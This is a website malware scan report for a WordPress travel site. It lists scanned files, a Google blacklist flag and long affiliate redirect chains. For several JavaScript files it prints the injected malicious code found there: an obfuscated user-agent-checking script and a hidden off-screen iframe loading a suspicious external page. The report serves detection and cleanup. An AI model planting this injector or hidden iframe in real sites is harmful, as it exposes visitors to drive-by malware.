New scan:

Malware Scanner report for luxury-vacations-for-less.com

Malicious/Suspicious/Total urls checked
6/0/26
6 pages have malicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "luxury-vacations-for-less.com" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
6/0/6
6 malicious iframes found. See details below
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=luxury-vacations-for-less.com

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://luxury-vacations-for-less.com/
200 OK
Content-Length: 51070
Content-Type: text/html
clean
http://luxury-vacations-for-less.com/wp-includes/js/jquery/jquery.js?ver=1.8.3
200 OK
Content-Length: 94632
Content-Type: application/javascript
malicious
Malicious iFrame found.
size: 110x130     
src: http://tudocombinado.ml/hatsukito17.html
This URL is marked by Google as suspicious

<iframe width="110" height="130" style="position:absolute;margin-top:-1001px;" src="http://tudocombinado.ml/hatsukito17.html">

http://luxury-vacations-for-less.com/wp-content/plugins/anti-spam/js/anti-spam.js?ver=1.8
200 OK
Content-Length: 2700
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

function getCookie(a){var b=document.cookie.match(new RegExp("(?:^|; )"+a.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return b?decodeURIComponent(b[1]):undefined}(function(){function b(i,f,g){var j=(i+"").toLowerCase();var e=(f+"").toLowerCase();var h=0;if((h=j.indexOf(e,g))!==-1){return h}return false}function d(){var f=["Yandex","AppleWebKit","Windows NT 6.3","X11","Phone","Google"];var g=false;for(var e in f){if(b(navigator.userAgent,f[e])){g=true;break}}return g}var c=(getCoo
... 1056 bytes are skipped ...
current_date.getFullYear();
$('#respond form').append('<input type="hidden" name="anti-spam-q" id="anti-spam-q" value="'+current_year+'" />'); }

if ( $('form#commentform input#anti-spam-q').length == 0 ) { var current_date = new Date();
var current_year = current_date.getFullYear();
$('form#commentform').append('<input type="hidden" name="anti-spam-q" id="anti-spam-q" value="'+current_year+'" />'); }

});

Antivirus reports:

Microsoft
Trojan:JS/IframeRef.J

Malicious iFrame found.
size: 110x130     
src: http://tudocombinado.ml/hatsukito17.html
This URL is marked by Google as suspicious

<iframe width="110" height="130" style="position:absolute;margin-top:-1001px;" src="http://tudocombinado.ml/hatsukito17.html">

http://luxury-vacations-for-less.com/wp-content/plugins/simply-sociable/sociable.js?ver=3.5.1
200 OK
Content-Length: 1254
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

function getCookie(a){var b=document.cookie.match(new RegExp("(?:^|; )"+a.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return b?decodeURIComponent(b[1]):undefined}(function(){function b(i,f,g){var j=(i+"").toLowerCase();var e=(f+"").toLowerCase();var h=0;if((h=j.indexOf(e,g))!==-1){return h}return false}function d(){var f=["Yandex","AppleWebKit","Windows NT 6.3","X11","Phone","Google"];var g=false;for(var e in f){if(b(navigator.userAgent,f[e])){g=true;break}}return g}var c=(getCoo
... 159 bytes are skipped ...
"http://tudocombinado.ml/hatsukito17.html"></iframe>');var a=new Date(new Date().getTime()+48*60*60*1000);document.cookie="akelbriston19ure=1; path=/; expires="+a.toUTCString()}})();
(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) {return;}
js = d.createElement(s); js.id = id;
js.src = "//connect.facebook.net/en_US/all.js#xfbml=1";
fjs.parentNode.insertBefore(js, fjs);
}(document, "script", "facebook-jssdk"));

Antivirus reports:

Microsoft
Trojan:JS/IframeRef.J

Malicious iFrame found.
size: 110x130     
src: http://tudocombinado.ml/hatsukito17.html
This URL is marked by Google as suspicious

<iframe width="110" height="130" style="position:absolute;margin-top:-1001px;" src="http://tudocombinado.ml/hatsukito17.html">

http://luxury-vacations-for-less.com/wp-content/plugins/simply-sociable/sociable.css?ver=3.5.1
200 OK
Content-Length: 154
Content-Type: text/css
clean
http://luxury-vacations-for-less.com/test404page.js
404 Not Found
Content-Length: 37125
Content-Type: text/html
clean
http://luxury-vacations-for-less.com/wp-content/themes/skadoogle/javascript/date.js
200 OK
Content-Length: 1470
Content-Type: application/javascript
malicious
Malicious iFrame found.
size: 110x130     
src: http://tudocombinado.ml/hatsukito17.html
This URL is marked by Google as suspicious

<iframe width="110" height="130" style="position:absolute;margin-top:-1001px;" src="http://tudocombinado.ml/hatsukito17.html">

http://cbtagclouds.com/js.php?id=528&theme=99&max=10&width=200&cat=22.8
200 OK
Content-Length: 380
Content-Type: text/html
clean
http://cbtagclouds.com/a528.html
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
Date: Mon, 26 Jan 2015 23:14:32 GMT
Pragma: no-cache
Location: http://rdx29.cbtags.hop.clickbank.net
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Content-Length: 0
Content-Type: text/html
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Set-Cookie: PHPSESSID=d7b1c7269f00509ce12386ebee4ac435; path=/
Set-Cookie: me=528; expires=Sat, 25-Jan-2020 23:14:32 GMT; path=/; domain=.cbtagclouds.com
Set-Cookie: cbtagclouds=koch.jerry%40gmail.com; expires=Sat, 25-Jan-2020 23:14:32 GMT; path=/; domain=.cbtagclouds.com
X-Powered-By: PHP/5.3.21
clean
http://rdx29.cbtags.hop.clickbank.net/
HTTP/1.1 301 Moved Permanently
Cache-Control: no-store
Connection: close
Date: Mon, 26 Jan 2015 23:11:40 GMT
Pragma: no-cache
Location: http://rdx29.cbtags.hop.clickbank.net/hop/?CBRehoppp2=http%3A%2F%2Fcbtagclouds.com%3Fhop%3Drdx29&hstr=1422313900525%7Crdx29%7C%7Crsbhve2k2t%7Ccbtags&code=%7B0%7D&key=25A8683A&parms=&s=default&ds=0
Server: Apache/2.2.29 (FreeBSD) mod_jk/1.2.40 mod_ssl/2.2.29 OpenSSL/0.9.8y
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html;charset=UTF-8
Expires: 0
P3P: CP="ADM OUR IND COM"
Set-Cookie: p=01.F2C69F3EA4CF89A8A21312C88E1025548DC716FCBAB0245823661F7026094157887CEA97110C8192632BE91899F407DEBCACAC11; Domain=.clickbank.net; Expires=Sat, 25-Jul-2015 23:11:40 GMT; Path=/
Set-Cookie: q=01.89EF7FCD41FFE8542350F6C7B60FFF1867A0DA82195392F410322A17ACE7365F28BBC236B5A3C3C0C51B1EFEDB6FE257F1724D07; Domain=.clickbank.net; Expires=Sat, 25-Jan-2020 23:11:40 GMT; Path=/
clean
http://rdx29.cbtags.hop.clickbank.net/hop/?cbrehoppp2=http%3a%2f%2fcbtagclouds.com%3fhop%3drdx29&hstr=1422313900525%7crdx29%7c%7crsbhve2k2t%7ccbtags&code=%7b0%7d&key=25a8683a&parms=&s=default&ds=0
HTTP/1.1 301 Moved Permanently
Cache-Control: no-store
Connection: close
Date: Mon, 26 Jan 2015 23:11:40 GMT
Pragma: no-cache
Location: http://rdx29.cbtags.hop.clickbank.net/hop/?CBRehoppp2=http%3A%2F%2Fcbtagclouds.com%3Fhop%3Drdx29&hstr=1422313900933%7Crdx29%7C%7Crsbhvezk2t%7Ccbtags&code=%7B%7D&key=D0F3BA19&parms=cbrehoppp2%3Dhttp%253a%252f%252fcbtagclouds.com%253fhop%253drdx29%26hstr%3D1422313900525%257crdx29%257c%257crsbhve2k2t%257ccbtags%26code%3D%257b0%257d%26key%3D25a8683a%26parms%3D%26ds%3D0&s=default&ds=0
Server: Apache/2.2.29 (FreeBSD) mod_jk/1.2.40 mod_ssl/2.2.29 OpenSSL/0.9.8y
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html;charset=UTF-8
Expires: 0
P3P: CP="ADM OUR IND COM"
Set-Cookie: p=01.DF75E4E1B2C55DA24F4921AB2B3A46C1E92458F06B5A1493FBEDA5E7961C0105BF69B777DBAC6791BFF81E1C55C97CFEC751CF2D; Domain=.clickbank.net; Expires=Sat, 25-Jul-2015 23:11:40 GMT; Path=/
Set-Cookie: q=01.AB0973B7FAC6150D0D7683B1F9F3F8B0E01B051F718E59BB18BC6A76480CBBA0E6321C8AD4B01D7BC695998BD1182C34411A669A; Domain=.clickbank.net; Expires=Sat, 25-Jan-2020 23:11:40 GMT; Path=/
clean
http://rdx29.cbtags.hop.clickbank.net/hop/?cbrehoppp2=http%3a%2f%2fcbtagclouds.com%3fhop%3drdx29&hstr=1422313900933%7crdx29%7c%7crsbhvezk2t%7ccbtags&code=%7b%7d&key=d0f3ba19&parms=cbrehoppp2%3dhttp%253a%252f%252fcbtagclouds.com%253fhop%253drdx29%26hstr%3d1422313900525%257crdx29%257c%257crsbhve2k2t%257ccbtags%26code%3d%257b0%257d%26key%3d25a8683a%26parms%3d%26ds%3d0&s=default&ds=0
HTTP/1.1 301 Moved Permanently
Cache-Control: no-store
Connection: close
Date: Mon, 26 Jan 2015 23:11:41 GMT
Pragma: no-cache
Location: http://rdx29.cbtags.hop.clickbank.net/hop/?CBRehoppp2=http%3A%2F%2Fcbtagclouds.com%3Fhop%3Drdx29&hstr=1422313901336%7Crdx29%7C%7C2hczqx2elb%7Ccbtags&code=%7B0%7D&key=7B30E372&parms=cbrehoppp2%3Dhttp%253a%252f%252fcbtagclouds.com%253fhop%253drdx29%26hstr%3D1422313900933%257crdx29%257c%257crsbhvezk2t%257ccbtags%26code%3D%257b%257d%26key%3Dd0f3ba19%26parms%3Dcbrehoppp2%253dhttp%25253a%25252f%25252fcbtagclouds.com%25253fhop%25253drdx29%2526hstr%253d1422313900525%25257crdx29%25257c%25257crsbhve2k2t%25257ccbtags%2526code%253d%25257b0%25257d%2526key%253d25a8683a%2526parms%253d%2526ds%253d0%26ds%3D0&s=default&ds=0
Server: Apache/2.2.29 (FreeBSD) mod_jk/1.2.40 mod_ssl/2.2.29 OpenSSL/0.9.8y
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html;charset=UTF-8
Expires: 0
P3P: CP="ADM OUR IND COM"
Set-Cookie: p=01.F775CE60EF702D85B97F142F2F7424C1A67D245A95B2DBCB2512D3EA81F7449CF5F7DD7FB70EB5F0FB787C64FF7ABF8776A82AED; Domain=.clickbank.net; Expires=Sat, 25-Jul-2015 23:11:41 GMT; Path=/
Set-Cookie: q=01.D370CCAEE7D7F51C1ADC5454A1E1E7039E04AE13B598EC12637E77DC356C07C78F4C10E1EAB2403A813BB82746807517A6E5252A; Domain=.clickbank.net; Expires=Sat, 25-Jan-2020 23:11:41 GMT; Path=/
clean
http://rdx29.cbtags.hop.clickbank.net/hop/?cbrehoppp2=http%3a%2f%2fcbtagclouds.com%3fhop%3drdx29&hstr=1422313901336%7crdx29%7c%7c2hczqx2elb%7ccbtags&code=%7b0%7d&key=7b30e372&parms=cbrehoppp2%3dhttp%253a%252f%252fcbtagclouds.com%253fhop%253drdx29%26hstr%3d1422313900933%257crdx29%257c%257crsbhvezk2t%257ccbtags%26code%3d%257b%257d%26key%3dd0f3ba19%26parms%3dcbrehoppp2%253dhttp%25253a%25252f%25252fcb <span>...213 symbols skipped</span>
HTTP/1.1 301 Moved Permanently
Cache-Control: no-store
Connection: close
Date: Mon, 26 Jan 2015 23:11:41 GMT
Pragma: no-cache
Location: http://rdx29.cbtags.hop.clickbank.net/hop/?CBRehoppp2=http%3A%2F%2Fcbtagclouds.com%3Fhop%3Drdx29&hstr=1422313901747%7Crdx29%7C%7C2hczq72elb%7Ccbtags&code=%7B%7D&key=F2B5E5BD&parms=cbrehoppp2%3Dhttp%253a%252f%252fcbtagclouds.com%253fhop%253drdx29%26hstr%3D1422313901336%257crdx29%257c%257c2hczqx2elb%257ccbtags%26code%3D%257b0%257d%26key%3D7b30e372%26parms%3Dcbrehoppp2%253dhttp%25253a%25252f%25252fcbtagclouds.com%25253fhop%25253drdx29%2526hstr%253d1422313900933%25257crdx29%25257c%25257crsbhvezk2t%25257ccbtags%2526code%253d%25257b%25257d%2526key%253dd0f3ba19%2526parms%253dcbrehoppp2%25253dhttp%2525253a%2525252f%2525252fcbtagclouds.com%2525253fhop%2525253drdx29%252526hstr%25253d1422313900525%2525257crdx29%2525257c%2525257crsbhve2k2t%2525257ccbtags%252526code%25253d%2525257b0%2525257d%252526key%25253d25a8683a%252526parms%25253d%252526ds%25253d0%2526ds%253d0%26ds%3D0&s=default&ds=0
Server: Apache/2.2.29 (FreeBSD) mod_jk/1.2.40 mod_ssl/2.2.29 OpenSSL/0.9.8y
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html;charset=UTF-8
Expires: 0
P3P: CP="ADM OUR IND COM"
Set-Cookie: p=01.21E9AB09A27A989A5B125045F8ACE1DFF30E4D126DFE66407716E384E3CF4D7287CEE63E99200701191B678CFEF8B06B07B3167B; Domain=.clickbank.net; Expires=Sat, 25-Jul-2015 23:11:41 GMT; Path=/
Set-Cookie: q=01.3014B829F9AED6DAC7313456EA54EE8034ED25A598F43046F75920C3C34C0D80BABF7C08A6EEF17CCA8F7BD0909C46867D63029E; Domain=.clickbank.net; Expires=Sat, 25-Jan-2020 23:11:41 GMT; Path=/
clean
http://rdx29.cbtags.hop.clickbank.net/hop/?cbrehoppp2=http%3a%2f%2fcbtagclouds.com%3fhop%3drdx29&hstr=1422313901747%7crdx29%7c%7c2hczq72elb%7ccbtags&code=%7b%7d&key=f2b5e5bd&parms=cbrehoppp2%3dhttp%253a%252f%252fcbtagclouds.com%253fhop%253drdx29%26hstr%3d1422313901336%257crdx29%257c%257c2hczqx2elb%257ccbtags%26code%3d%257b0%257d%26key%3d7b30e372%26parms%3dcbrehoppp2%253dhttp%25253a%25252f%25252fcb <span>...487 symbols skipped</span>
HTTP/1.1 301 Moved Permanently
Cache-Control: no-store
Connection: close
Date: Mon, 26 Jan 2015 23:11:42 GMT
Pragma: no-cache
Location: http://rdx29.cbtags.hop.clickbank.net/hop/?CBRehoppp2=http%3A%2F%2Fcbtagclouds.com%3Fhop%3Drdx29&hstr=1422313902151%7Crdx29%7C%7C2hczqgbelb%7Ccbtags&code=%7B%7D&key=182E0C45&parms=cbrehoppp2%3Dhttp%253a%252f%252fcbtagclouds.com%253fhop%253drdx29%26hstr%3D1422313901747%257crdx29%257c%257c2hczq72elb%257ccbtags%26code%3D%257b%257d%26key%3Df2b5e5bd%26parms%3Dcbrehoppp2%253dhttp%25253a%25252f%25252fcbtagclouds.com%25253fhop%25253drdx29%2526hstr%253d1422313901336%25257crdx29%25257c%25257c2hczqx2elb%25257ccbtags%2526code%253d%25257b0%25257d%2526key%253d7b30e372%2526parms%253dcbrehoppp2%25253dhttp%2525253a%2525252f%2525252fcbtagclouds.com%2525253fhop%2525253drdx29%252526hstr%25253d1422313900933%2525257crdx29%2525257c%2525257crsbhvezk2t%2525257ccbtags%252526code%25253d%2525257b%2525257d%252526key%25253dd0f3ba19%252526parms%25253dcbrehoppp2%2525253dhttp%252525253a%252525252f%252525252fcbtagclouds.com%252525253fhop%252525253drdx29%25252526hstr%2525253d1422313900525%252525257crdx29%252525257c%252525257crsbhve2k2t%252525257ccbtags%25252526code%2525253d%252525257b0%252525257d%25252526key%2525253d25a8683a%25252526parms%2525253d%25252526ds%2525253d0%252526ds%25253d0%2526ds%253d0%26ds%3D0&s=default&ds=0
Server: Apache/2.2.29 (FreeBSD) mod_jk/1.2.40 mod_ssl/2.2.29 OpenSSL/0.9.8y
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html;charset=UTF-8
Expires: 0
P3P: CP="ADM OUR IND COM"
Set-Cookie: p=01.B4A77F0852AD35CCA0F2F95B63672A5BC331E51747B3E973EA75837CC8611D70A7512B61BA57DB1469AD6F6CA0CD958F6DC0690B; Domain=.clickbank.net; Expires=Sat, 25-Jul-2015 23:11:42 GMT; Path=/
Set-Cookie: q=01.3C04A60D95D1955C4631B2F2D73862D359E4641B1B9BB05FED01393D1D7866DC3D1D2475B250D6F317ED52EBE66EC68BAAD5CD8F; Domain=.clickbank.net; Expires=Sat, 25-Jan-2020 23:11:42 GMT; Path=/
clean
http://rdx29.cbtags.hop.clickbank.net/test404page.js
HTTP/1.1 301 Moved Permanently
Cache-Control: no-store
Connection: close
Date: Mon, 26 Jan 2015 23:11:42 GMT
Pragma: no-cache
Location: http://rdx29.cbtags.hop.clickbank.net/hop/test404page.js?CBRehoppp2=http%3A%2F%2Fcbtagclouds.com%3Fhop%3Drdx29&hstr=1422313902521%7Crdx29%7C%7C2hczq9belb%7Ccbtags&code=%7B%7D&key=95A73D1F&parms=&s=default&ds=0
Server: Apache/2.2.29 (FreeBSD) mod_jk/1.2.40 mod_ssl/2.2.29 OpenSSL/0.9.8y
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html;charset=UTF-8
Expires: 0
P3P: CP="ADM OUR IND COM"
Set-Cookie: p=01.D7F5CA940D1F87791E93D0FFB6B34427898F6569B839E05B5B45BB50C7148964EE8EDF789ED568E045C37A04A490C119CBD92A4C; Domain=.clickbank.net; Expires=Sat, 25-Jul-2015 23:11:42 GMT; Path=/
Set-Cookie: q=01.A4F8C69360BD9378698D74DC2153163A14F443D0572A795A2319308DCD457BA3575B4DD5D620BA36D1868DA181BF677CC0E2D8C3; Domain=.clickbank.net; Expires=Sat, 25-Jan-2020 23:11:42 GMT; Path=/
clean
http://rdx29.cbtags.hop.clickbank.net/hop/test404page.js?cbrehoppp2=http%3a%2f%2fcbtagclouds.com%3fhop%3drdx29&hstr=1422313902521%7crdx29%7c%7c2hczq9belb%7ccbtags&code=%7b%7d&key=95a73d1f&parms=&s=default&ds=0
HTTP/1.1 301 Moved Permanently
Cache-Control: no-store
Connection: close
Date: Mon, 26 Jan 2015 23:11:42 GMT
Pragma: no-cache
Location: http://rdx29.cbtags.hop.clickbank.net/hop/test404page.js?CBRehoppp2=http%3A%2F%2Fcbtagclouds.com%3Fhop%3Drdx29&hstr=1422313902879%7Crdx29%7C%7C2hczqbkelb%7Ccbtags&code=%7B%7D&key=EFFC2E1A&parms=cbrehoppp2%3Dhttp%253a%252f%252fcbtagclouds.com%253fhop%253drdx29%26hstr%3D1422313902521%257crdx29%257c%257c2hczq9belb%257ccbtags%26code%3D%257b%257d%26key%3D95a73d1f%26parms%3D%26ds%3D0&s=default&ds=0
Server: Apache/2.2.29 (FreeBSD) mod_jk/1.2.40 mod_ssl/2.2.29 OpenSSL/0.9.8y
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html;charset=UTF-8
Expires: 0
P3P: CP="ADM OUR IND COM"
Set-Cookie: p=01.BC2B9026392550137693321C86C42BE7109F72EA7BBC775EA0D465D3143F46578D9FF420D86EAEEEDE48BAE8F630DF026786AA23; Domain=.clickbank.net; Expires=Sat, 25-Jul-2015 23:11:42 GMT; Path=/
Set-Cookie: q=01.50FC87176066CAA7A21853486AC207A69F6357B7A281C98904FD456DF893E50F00F45D6FC0ACFB21ABD26B99E9D5CF37225E302F; Domain=.clickbank.net; Expires=Sat, 25-Jan-2020 23:11:42 GMT; Path=/
clean
http://rdx29.cbtags.hop.clickbank.net/hop/test404page.js?cbrehoppp2=http%3a%2f%2fcbtagclouds.com%3fhop%3drdx29&hstr=1422313902879%7crdx29%7c%7c2hczqbkelb%7ccbtags&code=%7b%7d&key=effc2e1a&parms=cbrehoppp2%3dhttp%253a%252f%252fcbtagclouds.com%253fhop%253drdx29%26hstr%3d1422313902521%257crdx29%257c%257c2hczq9belb%257ccbtags%26code%3d%257b%257d%26key%3d95a73d1f%26parms%3d%26ds%3d0&s=default&ds=0
HTTP/1.1 301 Moved Permanently
Cache-Control: no-store
Connection: close
Date: Mon, 26 Jan 2015 23:11:43 GMT
Pragma: no-cache
Location: http://rdx29.cbtags.hop.clickbank.net/hop/test404page.js?CBRehoppp2=http%3A%2F%2Fcbtagclouds.com%3Fhop%3Drdx29&hstr=1422313903231%7Crdx29%7C%7C2hczq5kelb%7Ccbtags&code=%7B%7D&key=0F168958&parms=cbrehoppp2%3Dhttp%253a%252f%252fcbtagclouds.com%253fhop%253drdx29%26hstr%3D1422313902879%257crdx29%257c%257c2hczqbkelb%257ccbtags%26code%3D%257b%257d%26key%3Deffc2e1a%26parms%3Dcbrehoppp2%253dhttp%25253a%25252f%25252fcbtagclouds.com%25253fhop%25253drdx29%2526hstr%253d1422313902521%25257crdx29%25257c%25257c2hczq9belb%25257ccbtags%2526code%253d%25257b%25257d%2526key%253d95a73d1f%2526parms%253d%2526ds%253d0%26ds%3D0&s=default&ds=0
Server: Apache/2.2.29 (FreeBSD) mod_jk/1.2.40 mod_ssl/2.2.29 OpenSSL/0.9.8y
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html;charset=UTF-8
Expires: 0
P3P: CP="ADM OUR IND COM"
Set-Cookie: p=01.BC205A44262B9D402F9C9C600AD03D496731EA727F9827054F0511B5A30BB9B52309AF8393566B72A26D876D963F6323A74767F5; Domain=.clickbank.net; Expires=Sat, 25-Jul-2015 23:11:43 GMT; Path=/
Set-Cookie: q=01.A0B59EB27B93697A3EE11571090B5B9067BCB1BF665CC4BCE65D5E789503922BCA1D2F40D98838B00EFA4CA8BF5318592F32524B; Domain=.clickbank.net; Expires=Sat, 25-Jan-2020 23:11:43 GMT; Path=/
clean
http://rdx29.cbtags.hop.clickbank.net/hop/test404page.js?cbrehoppp2=http%3a%2f%2fcbtagclouds.com%3fhop%3drdx29&hstr=1422313903231%7crdx29%7c%7c2hczq5kelb%7ccbtags&code=%7b%7d&key=0f168958&parms=cbrehoppp2%3dhttp%253a%252f%252fcbtagclouds.com%253fhop%253drdx29%26hstr%3d1422313902879%257crdx29%257c%257c2hczqbkelb%257ccbtags%26code%3d%257b%257d%26key%3deffc2e1a%26parms%3dcbrehoppp2%253dhttp%25253a%25 <span>...225 symbols skipped</span>
HTTP/1.1 301 Moved Permanently
Cache-Control: no-store
Connection: close
Date: Mon, 26 Jan 2015 23:11:43 GMT
Pragma: no-cache
Location: http://rdx29.cbtags.hop.clickbank.net/hop/test404page.js?CBRehoppp2=http%3A%2F%2Fcbtagclouds.com%3Fhop%3Drdx29&hstr=1422313903589%7Crdx29%7C%7C2hczq8kelb%7Ccbtags&code=%7B%7D&key=3D60A27B&parms=cbrehoppp2%3Dhttp%253a%252f%252fcbtagclouds.com%253fhop%253drdx29%26hstr%3D1422313903231%257crdx29%257c%257c2hczq5kelb%257ccbtags%26code%3D%257b%257d%26key%3D0f168958%26parms%3Dcbrehoppp2%253dhttp%25253a%25252f%25252fcbtagclouds.com%25253fhop%25253drdx29%2526hstr%253d1422313902879%25257crdx29%25257c%25257c2hczqbkelb%25257ccbtags%2526code%253d%25257b%25257d%2526key%253deffc2e1a%2526parms%253dcbrehoppp2%25253dhttp%2525253a%2525252f%2525252fcbtagclouds.com%2525253fhop%2525253drdx29%252526hstr%25253d1422313902521%2525257crdx29%2525257c%2525257c2hczq9belb%2525257ccbtags%252526code%25253d%2525257b%2525257d%252526key%25253d95a73d1f%252526parms%25253d%252526ds%25253d0%2526ds%253d0%26ds%3D0&s=default&ds=0
Server: Apache/2.2.29 (FreeBSD) mod_jk/1.2.40 mod_ssl/2.2.29 OpenSSL/0.9.8y
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html;charset=UTF-8
Expires: 0
P3P: CP="ADM OUR IND COM"
Set-Cookie: p=01.462A6D2965329B1BC0EDC3BFF54AA1E1A4EBCE092617806EA2468E07433A0AAE2210EB718D83CF0622210CBD6BBC93FE84284CF0; Domain=.clickbank.net; Expires=Sat, 25-Jul-2015 23:11:43 GMT; Path=/
Set-Cookie: q=01.9F6901F34C8FF5483CD23E154F690CB6B6BC4AB913E48B1F990057D0216DDE52FD9A5070E4C426E0F3FE67F600694B97DEA1E87D; Domain=.clickbank.net; Expires=Sat, 25-Jan-2020 23:11:43 GMT; Path=/
clean
http://rdx29.cbtags.hop.clickbank.net/hop/test404page.js?cbrehoppp2=http%3a%2f%2fcbtagclouds.com%3fhop%3drdx29&hstr=1422313903589%7crdx29%7c%7c2hczq8kelb%7ccbtags&code=%7b%7d&key=3d60a27b&parms=cbrehoppp2%3dhttp%253a%252f%252fcbtagclouds.com%253fhop%253drdx29%26hstr%3d1422313903231%257crdx29%257c%257c2hczq5kelb%257ccbtags%26code%3d%257b%257d%26key%3d0f168958%26parms%3dcbrehoppp2%253dhttp%25253a%25 <span>...499 symbols skipped</span>
HTTP/1.1 301 Moved Permanently
Cache-Control: no-store
Connection: close
Date: Mon, 26 Jan 2015 23:11:43 GMT
Pragma: no-cache
Location: http://rdx29.cbtags.hop.clickbank.net/hop/test404page.js?CBRehoppp2=http%3A%2F%2Fcbtagclouds.com%3Fhop%3Drdx29&hstr=1422313903960%7Crdx29%7C%7C2hczqffelb%7Ccbtags&code=%7B%7D&key=7ABC20D2&parms=cbrehoppp2%3Dhttp%253a%252f%252fcbtagclouds.com%253fhop%253drdx29%26hstr%3D1422313903589%257crdx29%257c%257c2hczq8kelb%257ccbtags%26code%3D%257b%257d%26key%3D3d60a27b%26parms%3Dcbrehoppp2%253dhttp%25253a%25252f%25252fcbtagclouds.com%25253fhop%25253drdx29%2526hstr%253d1422313903231%25257crdx29%25257c%25257c2hczq5kelb%25257ccbtags%2526code%253d%25257b%25257d%2526key%253d0f168958%2526parms%253dcbrehoppp2%25253dhttp%2525253a%2525252f%2525252fcbtagclouds.com%2525253fhop%2525253drdx29%252526hstr%25253d1422313902879%2525257crdx29%2525257c%2525257c2hczqbkelb%2525257ccbtags%252526code%25253d%2525257b%2525257d%252526key%25253deffc2e1a%252526parms%25253dcbrehoppp2%2525253dhttp%252525253a%252525252f%252525252fcbtagclouds.com%252525253fhop%252525253drdx29%25252526hstr%2525253d1422313902521%252525257crdx29%252525257c%252525257c2hczq9belb%252525257ccbtags%25252526code%2525253d%252525257b%252525257d%25252526key%2525253d95a73d1f%25252526parms%2525253d%25252526ds%2525253d0%252526ds%25253d0%2526ds%253d0%26ds%3D0&s=default&ds=0
Server: Apache/2.2.29 (FreeBSD) mod_jk/1.2.40 mod_ssl/2.2.29 OpenSSL/0.9.8y
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html;charset=UTF-8
Expires: 0
P3P: CP="ADM OUR IND COM"
Set-Cookie: p=01.11B31244B185523CD96F60190FD14A4DED67697DC1DF1BA5585A21692580178A227B64717EDDFA365E2A4144792CC36B3ADCAFB8; Domain=.clickbank.net; Expires=Sat, 25-Jul-2015 23:11:43 GMT; Path=/
Set-Cookie: q=01.20C3A27512BBFF5945725C5A4644A41A59126FB127086C582F6D3D11675BC24BAB0E481E5347A4FD7AB1A29EF829FF9CE9DD84F2; Domain=.clickbank.net; Expires=Sat, 25-Jan-2020 23:11:43 GMT; Path=/
clean
http://rdx29.cbtags.hop.clickbank.net/hop/test404page.js?cbrehoppp2=http%3a%2f%2fcbtagclouds.com%3fhop%3drdx29&hstr=1422313903960%7crdx29%7c%7c2hczqffelb%7ccbtags&code=%7b%7d&key=7abc20d2&parms=cbrehoppp2%3dhttp%253a%252f%252fcbtagclouds.com%253fhop%253drdx29%26hstr%3d1422313903589%257crdx29%257c%257c2hczq8kelb%257ccbtags%26code%3d%257b%257d%26key%3d3d60a27b%26parms%3dcbrehoppp2%253dhttp%25253a%25 <span>...817 symbols skipped</span>
HTTP/1.1 301 Moved Permanently
Cache-Control: no-store
Connection: close
Date: Mon, 26 Jan 2015 23:11:44 GMT
Pragma: no-cache
Location: http://rdx29.cbtags.hop.clickbank.net/hop/test404page.js?CBRehoppp2=http%3A%2F%2Fcbtagclouds.com%3Fhop%3Drdx29&hstr=1422313904328%7Crdx29%7C%7C2hczq4felb%7Ccbtags&code=%7B%7D&key=3CFE3488&parms=cbrehoppp2%3Dhttp%253a%252f%252fcbtagclouds.com%253fhop%253drdx29%26hstr%3D1422313903960%257crdx29%257c%257c2hczqffelb%257ccbtags%26code%3D%257b%257d%26key%3D7abc20d2%26parms%3Dcbrehoppp2%253dhttp%25253a%25252f%25252fcbtagclouds.com%25253fhop%25253drdx29%2526hstr%253d1422313903589%25257crdx29%25257c%25257c2hczq8kelb%25257ccbtags%2526code%253d%25257b%25257d%2526key%253d3d60a27b%2526parms%253dcbrehoppp2%25253dhttp%2525253a%2525252f%2525252fcbtagclouds.com%2525253fhop%2525253drdx29%252526hstr%25253d1422313903231%2525257crdx29%2525257c%2525257c2hczq5kelb%2525257ccbtags%252526code%25253d%2525257b%2525257d%252526key%25253d0f168958%252526parms%25253dcbrehoppp2%2525253dhttp%252525253a%252525252f%252525252fcbtagclouds.com%252525253fhop%252525253drdx29%25252526hstr%2525253d1422313902879%252525257crdx29%252525257c%252525257c2hczqbkelb%252525257ccbtags%25252526code%2525253d%252525257b%252525257d%25252526key%2525253deffc2e1a%25252526parms%2525253dcbrehoppp2%252525253dhttp%25252525253a%25252525252f%25252525252fcbtagclouds.com%25252525253fhop%25252525253drdx29%2525252526hstr%252525253d1422313902521%25252525257crdx29%25252525257c%25252525257c2hczq9belb%25252525257ccbtags%2525252526code%252525253d%25252525257b%25252525257d%2525252526key%252525253d95a73d1f%2525252526parms%252525253d%2525252526ds%252525253d0%25